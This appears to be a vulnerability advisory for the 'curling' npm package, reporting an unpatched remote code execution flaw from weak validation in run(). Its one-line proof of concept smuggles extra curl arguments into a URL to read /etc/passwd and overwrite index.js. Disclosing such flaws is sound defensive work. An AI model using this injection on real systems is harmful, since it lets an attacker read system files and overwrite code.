How to fix?

There is no fixed version for curling.

Overview

curling is a node wrapper for curl with a very simple api.

Affected versions of this package are vulnerable to Remote Code Execution. The regular expression in run() in lib/curl-transport.js does not perform proper validation. Combined with curl, this can lead to the injection of arbitrary commands.

PoC

const curling = require('curling');


curling.run('file:///etc/passwd -o ./index.js', function(d, payload){console.log(payload)});
